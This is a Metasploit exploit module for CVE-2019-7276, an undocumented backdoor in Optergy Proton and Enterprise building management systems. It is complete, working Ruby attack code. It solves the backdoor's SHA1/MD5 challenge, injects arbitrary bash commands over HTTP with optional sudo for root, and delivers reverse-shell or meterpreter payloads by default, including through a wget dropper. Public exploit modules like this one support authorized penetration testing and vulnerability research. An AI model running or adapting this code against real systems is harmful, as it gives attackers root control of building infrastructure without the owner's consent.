## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor', 'Description' => %q{ This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable. Attackers can exploit this issue by directly navigating to an undocumented backdoor script called Console.jsp in the tools directory and gain full system access. Successful exploitation results in `root` command execution using `sudo` as user `optergy`. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y ', # MSF Module contributor 'Gjoko Krstic ' # Discovery ], 'References' => [ [ 'CVE', '2019-7276'], [ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ], [ 'URL', 'https://optergy.com/products/proton/' ], [ 'URL', 'https://optergy.com/products/optergy-enterprise/' ], [ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ], [ 'EDB', '47641'], [ 'PACKETSTORM', '155258'] ], 'DisclosureDate' => '2019-11-05', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => "\x20" }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ]) ] ) end def execute_command(cmd, _opts = {}) # Step 1: get the challenge and compute the response answer for the backdoor execution res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get') }) if res.nil? || (res.code != 200) return nil else # Get and create a challenge response res_json = res.get_json_document return nil if res_json.nil? || res_json.blank? # Get the challenge challenge = res_json['response']['message'] # Make SHA1 hash from received challenge h1 = Digest::SHA1.hexdigest challenge # Make MD5 hash from SHA1 hash h2 = Digest::MD5.hexdigest h1 # Combine MD5 hash and SHA1 hash as answer (response) to the challenge answer = h1 + h2 end # Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1. if target['Type'] == :linux_dropper cmd = cmd.gsub(' ') { '${IFS}' } end if datastore['SUDO'] payload = "sudo bash -c #{cmd}" else payload = "bash -c #{cmd}" end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'command' => payload, 'challenge' => challenge, 'answer' => answer } }) if res.nil? || (res.code != 200) return nil else # get result and return the command response res_json = res.get_json_document return nil if res_json.nil? || res_json.blank? res_cmd_output = res_json['response']['message'] return res_cmd_output end end # Checking if the target is vulnerable by executing the whoami command via the backdoor def check res = execute_command('whoami') return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy') Exploit::CheckCode::Vulnerable end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd res = execute_command(payload.encoded) fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil? when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager end end end